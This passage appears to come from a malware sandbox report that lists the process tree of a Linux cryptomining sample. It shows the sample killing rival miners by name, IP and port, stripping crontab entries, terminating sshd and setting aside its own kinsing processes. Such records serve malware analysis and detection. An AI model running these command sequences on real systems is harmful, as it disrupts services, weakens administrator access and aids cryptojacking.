  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1448
- /bin/grep
  grep exe
  2⤵
  PID:1451
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1450
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1455
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep /dot
  2⤵
  PID:1460
- /bin/grep
  grep -v grep
  2⤵
  PID:1461
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1459
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1463
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1462
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  PID:1464
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1468
- /bin/grep
  grep -v grep
  2⤵
  PID:1467
- /bin/grep
  grep tracepath
  2⤵
  PID:1466
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1465
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1469
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads runtime system information
  PID:1470
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1474
- /bin/grep
  grep -v grep
  2⤵
  PID:1473
- /bin/grep
  grep ./ll1
  2⤵
  PID:1472
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1471
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1475
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1477
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1476
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1479
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1478
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1483
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1484
- /bin/grep
  grep -v grep
  2⤵
  PID:1482
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1481
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1480
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1488
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1489
- /bin/grep
  grep -v grep
  2⤵
  PID:1487
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1485
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1486
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1494
- /bin/grep
  grep -v grep
  2⤵
  PID:1492
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1491
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1493
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1490
- /bin/grep
  grep -v grep
  2⤵
  PID:1497
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1499
- /bin/grep
  grep perfctl
  2⤵
  PID:1496
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1495
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1502
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1501
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1503
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1504
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1507
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1508
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1509
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1506
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1512
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1513
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1511
- /bin/grep
  grep -v -
  2⤵
  PID:1514
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1515
- /bin/grep
  grep -v -
  2⤵
  PID:1520
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1519
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1518
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1521
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1517
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1525
- /bin/grep
  grep -v -
  2⤵
  PID:1526
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1523
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1524
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1527
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1529
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1530
- /bin/grep
  grep -v -
  2⤵
  PID:1532
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1531
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1533
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1534
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1538
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1539
- /bin/grep
  grep -v grep
  2⤵
  PID:1537
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1535
- /bin/grep
  grep agetty
  2⤵
  PID:1536
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:1540
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1543
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1541
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1542
- /bin/sed
  sed /base64/d
  2⤵
  PID:1545
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1544
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1549
- /bin/sed
  sed /python/d
  2⤵
  PID:1548
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1547
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1552
- /bin/sed
  sed /shm/d
  2⤵
  PID:1551
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1555
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1554
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1558
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1557
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1556
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1561
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1560
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1564
- /bin/sed
  sed /linux/d
  2⤵
  PID:1563
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1567
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1566
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1570
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1569
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1573
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1572
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1576
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1575
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1579
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1578
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1577
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1580
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  PID:1581
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  PID:1583
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1584
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:1585
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1586
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1587
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1588
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1591
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1592
- /bin/grep
  grep :1414
  2⤵
  PID:1590
- /bin/grep
  grep -v -
  2⤵
  PID:1593
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1594
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1597
- /bin/grep
  grep -v -
  2⤵
  PID:1599
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1596
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1600
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1598
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1603
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1604
- /bin/grep
  grep :143
  2⤵
  PID:1602
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1606
- /bin/grep
  grep -v -
  2⤵
  PID:1605
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1610
- /bin/grep
  grep -v -
  2⤵
  PID:1611
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1609
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1612
- /bin/grep
  grep :2222
  2⤵
  PID:1608
- /bin/grep
  grep :3333
  2⤵
  PID:1614
- /bin/grep
  grep -v -
  2⤵
  PID:1617
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1618
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1615
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1616
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1621
- /bin/grep
  grep -v -
  2⤵
  PID:1623
- /bin/grep
  grep :3389
  2⤵
  PID:1620
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1624
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1622
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1627
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1628
- /bin/grep
  grep :4444
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1630
- /bin/grep
  grep -v -
  2⤵
  PID:1629
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1633
- /bin/grep
  grep -v -
  2⤵
  PID:1635
- /bin/grep
  grep :5555
  2⤵
  PID:1632
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1636
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1634
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1639
- /bin/grep
  grep -v -
  2⤵
  PID:1641
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1642
- /bin/grep
  grep :6666
  2⤵
  PID:1638
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1640
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1646
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1645
- /bin/grep
  grep -v -
  2⤵
  PID:1647
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1648
- /bin/grep
  grep :6665
  2⤵
  PID:1644
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1652
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1651
- /bin/grep
  grep -v -
  2⤵
  PID:1653
- /bin/grep
  grep :6667
  2⤵
  PID:1650
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1654
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1658
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1657
- /bin/grep
  grep -v -
  2⤵
  PID:1659
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1660
- /bin/grep
  grep :7777
  2⤵
  PID:1656
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1664
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1663
- /bin/grep
  grep -v -
  2⤵
  PID:1665
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1666
- /bin/grep
  grep :8444
  2⤵
  PID:1662
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1669
- /bin/grep
  grep :3347
  2⤵
  PID:1668
- /bin/grep
  grep -v -
  2⤵
  PID:1671
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1670
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1672
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1676
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1675
- /bin/grep
  grep :14444
  2⤵
  PID:1674
- /bin/grep
  grep -v -
  2⤵
  PID:1677
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1678
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1682
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1681
- /bin/grep
  grep :14433
  2⤵
  PID:1680
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1684
- /bin/grep
  grep -v -
  2⤵
  PID:1683
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1687
- /bin/grep
  grep :13531
  2⤵
  PID:1686
- /bin/grep
  grep -v -
  2⤵
  PID:1689
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1690
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1688
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1691
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1693
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1692
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1696
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1695
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1697
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1699
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1698
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  PID:1700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1702
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1701
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1703
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1705
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1704
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  PID:1706
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1708
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1707
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1709
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1710
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1711
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1712
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1714
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1713
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Attempts to change immutable files
  PID:1715
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1717
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1716
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  - Attempts to change immutable files
  PID:1718
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1720
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1719
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1721
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1723
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1722
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1726
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1725
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads runtime system information
  PID:1727
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  PID:1728
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1729
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads runtime system information
  PID:1730
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1731
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1732
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  PID:1733
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1734
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1735
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1736
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  PID:1737
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:1738
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  PID:1739
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1740
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:1741
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1742
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1743
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1744
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:1745
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1746
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads runtime system information
  PID:1747
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads runtime system information
  PID:1748
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1750
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  PID:1752
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads runtime system information
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  PID:1755
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads runtime system information
  PID:1756
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1758
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1759
- /bin/grep
  grep -v grep
  2⤵
  PID:1762
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1763
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1764
- /bin/grep
  grep ./udp
  2⤵
  PID:1761
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1760
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1769
- /bin/grep
  grep ./oka
  2⤵
  PID:1766
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1765
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1768
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1774
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1771
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1770
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1776
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1778
- /bin/grep
  grep -v bin
  2⤵
  PID:1777
- /bin/grep
  grep -v "("
  2⤵
  PID:1779
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1775
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1781
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1780
- /bin/grep
  grep -v postgres
  2⤵
  PID:1782
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1784
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1785
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1783
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1786
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1790
- /bin/grep
  grep -v bin
  2⤵
  PID:1789
- /bin/grep
  grep -v "("
  2⤵
  PID:1791
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1792
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1788
- /bin/grep
  grep -v postgres
  2⤵
  PID:1794
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1787
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1793
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1795
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1796
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1797
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1799
- /bin/grep
  grep -v bin
  2⤵
  PID:1800
- /bin/ps
  ps ax
  2⤵
  - Reads runtime system information
  PID:1798
- /bin/grep
  grep -v "("
  2⤵
  PID:1802
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1801
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1804
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1803
- /bin/grep
  grep -v postgres
  2⤵
  PID:1805
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1806
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1807
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1808
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1812
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1813
- /bin/grep
  grep -v grep
  2⤵
  PID:1810
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1809
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1817
- /bin/grep
  grep -v grep
  2⤵
  PID:1816
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1818
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1814
- /bin/grep
  grep -v grep
  2⤵
  PID:1821
